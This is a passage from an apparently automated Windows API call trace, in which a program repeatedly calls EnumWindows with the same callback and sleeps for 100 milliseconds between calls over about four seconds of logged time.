lParam=0x2290000) [0291.158] Sleep (dwMilliseconds=0x64) [0291.269] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.269] Sleep (dwMilliseconds=0x64) [0291.273] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.273] Sleep (dwMilliseconds=0x64) [0291.276] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.276] Sleep (dwMilliseconds=0x64) [0291.278] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.279] Sleep (dwMilliseconds=0x64) [0291.283] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.283] Sleep (dwMilliseconds=0x64) [0291.285] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.285] Sleep (dwMilliseconds=0x64) [0291.287] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.287] Sleep (dwMilliseconds=0x64) [0291.289] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.289] Sleep (dwMilliseconds=0x64) [0291.291] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.291] Sleep (dwMilliseconds=0x64) [0291.294] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.294] Sleep (dwMilliseconds=0x64) [0291.302] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.302] Sleep (dwMilliseconds=0x64) [0291.432] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.432] Sleep (dwMilliseconds=0x64) [0291.450] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.451] Sleep (dwMilliseconds=0x64) [0291.462] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.463] Sleep (dwMilliseconds=0x64) [0291.476] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.477] Sleep (dwMilliseconds=0x64) [0291.479] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.480] Sleep (dwMilliseconds=0x64) [0291.550] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.551] Sleep (dwMilliseconds=0x64) [0291.588] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.589] Sleep (dwMilliseconds=0x64) [0291.601] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.602] Sleep (dwMilliseconds=0x64) [0291.603] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.604] Sleep (dwMilliseconds=0x64) [0291.606] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.606] Sleep (dwMilliseconds=0x64) [0291.608] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.608] Sleep (dwMilliseconds=0x64) [0291.610] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.610] Sleep (dwMilliseconds=0x64) [0291.612] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.612] Sleep (dwMilliseconds=0x64) [0291.614] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.614] Sleep (dwMilliseconds=0x64) [0291.616] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.616] Sleep (dwMilliseconds=0x64) [0291.618] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.623] Sleep (dwMilliseconds=0x64) [0291.659] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.660] Sleep (dwMilliseconds=0x64) [0291.767] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.769] Sleep (dwMilliseconds=0x64) [0291.771] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.771] Sleep (dwMilliseconds=0x64) [0291.774] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.774] Sleep (dwMilliseconds=0x64) [0291.776] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.776] Sleep (dwMilliseconds=0x64) [0291.778] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.778] Sleep (dwMilliseconds=0x64) [0291.790] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.791] Sleep (dwMilliseconds=0x64) [0291.798] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.799] Sleep (dwMilliseconds=0x64) [0291.834] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.835] Sleep (dwMilliseconds=0x64) [0291.915] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.916] Sleep (dwMilliseconds=0x64) [0291.923] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.924] Sleep (dwMilliseconds=0x64) [0291.931] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.931] Sleep (dwMilliseconds=0x64) [0291.958] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.959] Sleep (dwMilliseconds=0x64) [0291.961] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.962] Sleep (dwMilliseconds=0x64) [0292.039] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.039] Sleep (dwMilliseconds=0x64) [0292.065] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.066] Sleep (dwMilliseconds=0x64) [0292.068] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.069] Sleep (dwMilliseconds=0x64) [0292.070] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.070] Sleep (dwMilliseconds=0x64) [0292.072] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.073] Sleep (dwMilliseconds=0x64) [0292.074] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.075] Sleep (dwMilliseconds=0x64) [0292.076] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.076] Sleep (dwMilliseconds=0x64) [0292.078] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.078] Sleep (dwMilliseconds=0x64) [0292.080] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.080] Sleep (dwMilliseconds=0x64) [0292.082] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.082] Sleep (dwMilliseconds=0x64) [0292.084] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.084] Sleep (dwMilliseconds=0x64) [0292.086] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.086] Sleep (dwMilliseconds=0x64) [0292.091] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.091] Sleep (dwMilliseconds=0x64) [0292.093] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.093] Sleep (dwMilliseconds=0x64) [0292.095] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.095] Sleep (dwMilliseconds=0x64) [0292.137] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.138] Sleep (dwMilliseconds=0x64) [0292.200] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.201] Sleep (dwMilliseconds=0x64) [0292.202] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.203] Sleep (dwMilliseconds=0x64) [0292.205] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.205] Sleep (dwMilliseconds=0x64) [0292.207] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.208] Sleep (dwMilliseconds=0x64) [0292.210] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.210] Sleep (dwMilliseconds=0x64) [0292.212] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.213] Sleep (dwMilliseconds=0x64) [0292.215] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.216] Sleep (dwMilliseconds=0x64) [0292.217] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.218] Sleep (dwMilliseconds=0x64) [0292.219] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.220] Sleep (dwMilliseconds=0x64) [0292.221] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.222] Sleep (dwMilliseconds=0x64) [0292.224] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.224] Sleep (dwMilliseconds=0x64) [0292.226] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.226] Sleep (dwMilliseconds=0x64) [0292.347] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.349] Sleep (dwMilliseconds=0x64) [0292.361] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.362] Sleep (dwMilliseconds=0x64) [0292.370] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.371] Sleep (dwMilliseconds=0x64) [0292.411] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.412] Sleep (dwMilliseconds=0x64) [0292.490] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.492] Sleep (dwMilliseconds=0x64) [0292.493] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.494] Sleep (dwMilliseconds=0x64) [0292.506] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.507] Sleep (dwMilliseconds=0x64) [0292.520] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.521] Sleep (dwMilliseconds=0x64) [0292.537] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.537] Sleep (dwMilliseconds=0x64) [0292.689] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.690] Sleep (dwMilliseconds=0x64) [0292.696] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.696] Sleep (dwMilliseconds=0x64) [0292.698] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.699] Sleep (dwMilliseconds=0x64) [0292.700] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.700] Sleep (dwMilliseconds=0x64) [0292.702] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.702] Sleep (dwMilliseconds=0x64) [0292.704] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.704] Sleep (dwMilliseconds=0x64) [0292.706] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.706] Sleep (dwMilliseconds=0x64) [0292.708] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.708] Sleep (dwMilliseconds=0x64) [0292.710] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.710] Sleep (dwMilliseconds=0x64) [0292.712] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.712] Sleep (dwMilliseconds=0x64) [0292.714] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.714] Sleep (dwMilliseconds=0x64) [0292.723] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.724] Sleep (dwMilliseconds=0x64) [0292.727] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.727] Sleep (dwMilliseconds=0x64) [0292.828] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.829] Sleep (dwMilliseconds=0x64) [0292.856] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0292.990] Sleep (dwMilliseconds=0x64) [0293.084] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.085] Sleep (dwMilliseconds=0x64) [0293.120] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.121] Sleep (dwMilliseconds=0x64) [0293.124] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.125] Sleep (dwMilliseconds=0x64) [0293.129] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.130] Sleep (dwMilliseconds=0x64) [0293.132] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.133] Sleep (dwMilliseconds=0x64) [0293.135] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.136] Sleep (dwMilliseconds=0x64) [0293.138] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.138] Sleep (dwMilliseconds=0x64) [0293.140] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.140] Sleep (dwMilliseconds=0x64) [0293.155] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.156] Sleep (dwMilliseconds=0x64) [0293.215] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.216] Sleep (dwMilliseconds=0x64) [0293.264] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.265] Sleep (dwMilliseconds=0x64) [0293.267] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.267] Sleep (dwMilliseconds=0x64) [0293.275] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.276] Sleep (dwMilliseconds=0x64) [0293.283] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.285] Sleep (dwMilliseconds=0x64) [0293.293] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.294] Sleep (dwMilliseconds=0x64) [0293.331] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.332] Sleep (dwMilliseconds=0x64) [0293.415] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.416] Sleep (dwMilliseconds=0x64) [0293.418] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.418] Sleep (dwMilliseconds=0x64) [0293.422] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.422] Sleep (dwMilliseconds=0x64) [0293.424] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.424] Sleep (dwMilliseconds=0x64) [0293.426] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.426] Sleep (dwMilliseconds=0x64) [0293.428] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.428] Sleep (dwMilliseconds=0x64) [0293.430] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.430] Sleep (dwMilliseconds=0x64) [0293.433] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.433] Sleep (dwMilliseconds=0x64) [0293.435] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.435] Sleep (dwMilliseconds=0x64) [0293.437] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.437] Sleep (dwMilliseconds=0x64) [0293.529] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.530] Sleep (dwMilliseconds=0x64) [0293.542] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.542] Sleep (dwMilliseconds=0x64) [0293.544] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.545] Sleep (dwMilliseconds=0x64) [0293.546] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.547] Sleep (dwMilliseconds=0x64) [0293.548] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.549] Sleep (dwMilliseconds=0x64) [0293.550] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.551] Sleep (dwMilliseconds=0x64) [0293.552] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.553] Sleep (dwMilliseconds=0x64) [0293.554] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.555] Sleep (dwMilliseconds=0x64) [0293.560] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.561] Sleep (dwMilliseconds=0x64) [0293.563] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.564] Sleep (dwMilliseconds=0x64) [0293.565] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.566] Sleep (dwMilliseconds=0x64) [0293.569] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.569] Sleep (dwMilliseconds=0x64) [0293.571] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.571] Sleep (dwMilliseconds=0x64) [0293.647] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.647] Sleep (dwMilliseconds=0x64) [0293.681] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.682] Sleep (dwMilliseconds=0x64) [0293.683] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.684] Sleep (dwMilliseconds=0x64) [0293.688] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.688] Sleep (dwMilliseconds=0x64) [0293.690] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.690] Sleep (dwMilliseconds=0x64) [0293.692] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.692] Sleep (dwMilliseconds=0x64) [0293.694] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.695] Sleep (dwMilliseconds=0x64) [0293.697] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.697] Sleep (dwMilliseconds=0x64) [0293.698] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.699] Sleep (dwMilliseconds=0x64) [0293.700] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.701] Sleep (dwMilliseconds=0x64) [0293.702] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.703] Sleep (dwMilliseconds=0x64) [0293.704] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.705] Sleep (dwMilliseconds=0x64) [0293.706] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.707] Sleep (dwMilliseconds=0x64) [0293.709] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.709] Sleep (dwMilliseconds=0x64) [0293.711] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.711] Sleep (dwMilliseconds=0x64) [0293.757] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.758] Sleep (dwMilliseconds=0x64) [0293.816] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.817] Sleep (dwMilliseconds=0x64) [0293.821] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.822] Sleep (dwMilliseconds=0x64) [0293.823] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.824] Sleep (dwMilliseconds=0x64) [0293.831] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.832] Sleep (dwMilliseconds=0x64) [0293.839] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.840] Sleep (dwMilliseconds=0x64) [0293.848] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.849] Sleep (dwMilliseconds=0x64) [0293.871] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.872] Sleep (dwMilliseconds=0x64) [0293.879] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.879] Sleep (dwMilliseconds=0x64) [0293.986] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.987] Sleep (dwMilliseconds=0x64) [0293.994] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0293.994] Sleep (dwMilliseconds=0x64) [0293.999] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.000] Sleep (dwMilliseconds=0x64) [0294.001] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.001] Sleep (dwMilliseconds=0x64) [0294.003] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.003] Sleep (dwMilliseconds=0x64) [0294.012] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.013] Sleep (dwMilliseconds=0x64) [0294.020] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.020] Sleep (dwMilliseconds=0x64) [0294.028] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.029] Sleep (dwMilliseconds=0x64) [0294.159] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.160] Sleep (dwMilliseconds=0x64) [0294.216] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.217] Sleep (dwMilliseconds=0x64) [0294.230] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.231] Sleep (dwMilliseconds=0x64) [0294.238] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.239] Sleep (dwMilliseconds=0x64) [0294.303] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.304] Sleep (dwMilliseconds=0x64) [0294.311] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.312] Sleep (dwMilliseconds=0x64) [0294.366] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.367] Sleep (dwMilliseconds=0x64) [0294.370] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.370] Sleep (dwMilliseconds=0x64) [0294.372] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.372] Sleep (dwMilliseconds=0x64) [0294.374] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.374] Sleep (dwMilliseconds=0x64) [0294.377] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.377] Sleep (dwMilliseconds=0x64) [0294.379] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.380] Sleep (dwMilliseconds=0x64) [0294.382] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.382] Sleep (dwMilliseconds=0x64) [0294.384] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.385] Sleep (dwMilliseconds=0x64) [0294.386] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.386] Sleep (dwMilliseconds=0x64) [0294.388] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.389] Sleep (dwMilliseconds=0x64) [0294.390] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.390] Sleep (dwMilliseconds=0x64) [0294.416] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.416] Sleep (dwMilliseconds=0x64) [0294.500] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.501] Sleep (dwMilliseconds=0x64) [0294.503] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.503] Sleep (dwMilliseconds=0x64) [0294.504] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.505] Sleep (dwMilliseconds=0x64) [0294.506] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.507] Sleep (dwMilliseconds=0x64) [0294.508] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.509] Sleep (dwMilliseconds=0x64) [0294.511] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.511] Sleep (dwMilliseconds=0x64) [0294.517] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.518] Sleep (dwMilliseconds=0x64) [0294.519] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.520] Sleep (dwMilliseconds=0x64) [0294.629] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.631] Sleep (dwMilliseconds=0x64) [0294.639] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.640] Sleep (dwMilliseconds=0x64) [0294.651] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.652] Sleep (dwMilliseconds=0x64) [0294.657] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.658] Sleep (dwMilliseconds=0x64) [0294.659] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.660] Sleep (dwMilliseconds=0x64) [0294.661] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.662] Sleep (dwMilliseconds=0x64) [0294.663] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.664] Sleep (dwMilliseconds=0x64) [0294.666] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.666] Sleep (dwMilliseconds=0x64) [0294.668] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.668] Sleep (dwMilliseconds=0x64) [0294.760] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.760] Sleep (dwMilliseconds=0x64) [0294.774] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.775] Sleep (dwMilliseconds=0x64) [0294.776] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.777] Sleep (dwMilliseconds=0x64) [0294.778] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.779] Sleep (dwMilliseconds=0x64) [0294.780] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.780] Sleep (dwMilliseconds=0x64) [0294.782] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.782] Sleep (dwMilliseconds=0x64) [0294.787] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.787] Sleep (dwMilliseconds=0x64) [0294.789] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.789] Sleep (dwMilliseconds=0x64) [0294.791] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.791] Sleep (dwMilliseconds=0x64) [0294.793] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.793] Sleep (dwMilliseconds=0x64) [0294.795] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.795] Sleep (dwMilliseconds=0x64) [0294.797] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.797] Sleep (dwMilliseconds=0x64) [0294.799] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.799] Sleep (dwMilliseconds=0x64) [0294.801] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.801] Sleep (dwMilliseconds=0x64) [0294.803] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.803] Sleep (dwMilliseconds=0x64) [0294.857] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.857] Sleep (dwMilliseconds=0x64) [0294.865] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.865] Sleep (dwMilliseconds=0x64) [0294.902] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.903] Sleep (dwMilliseconds=0x64) [0294.911] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.912] Sleep (dwMilliseconds=0x64) [0294.919] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.920] Sleep (dwMilliseconds=0x64) [0294.922] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.922] Sleep (dwMilliseconds=0x64) [0294.924] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.924] Sleep (dwMilliseconds=0x64) [0294.926] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.926] Sleep (dwMilliseconds=0x64) [0294.928] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.928] Sleep (dwMilliseconds=0x64) [0294.932] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.933] Sleep (dwMilliseconds=0x64) [0294.996] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0294.997] Sleep (dwMilliseconds=0x64) [0295.060] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.061] Sleep (dwMilliseconds=0x64) [0295.069] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.070] Sleep (dwMilliseconds=0x64) [0295.073] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.073] Sleep (dwMilliseconds=0x64) [0295.076] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.077] Sleep (dwMilliseconds=0x64) [0295.078] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.079] Sleep (dwMilliseconds=0x64) [0295.081] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.081] Sleep (dwMilliseconds=0x64) [0295.083] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.083] Sleep (dwMilliseconds=0x64) [0295.085] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.085] Sleep (dwMilliseconds=0x64) [0295.088] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.088] Sleep (dwMilliseconds=0x64) [0295.090] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.105] Sleep (dwMilliseconds=0x64) [0295.126] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.126] Sleep (dwMilliseconds=0x64) [0295.137] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.137] Sleep (dwMilliseconds=0x64) [0295.222] EnumWindows (lpEnumFunc=0x403dd0, 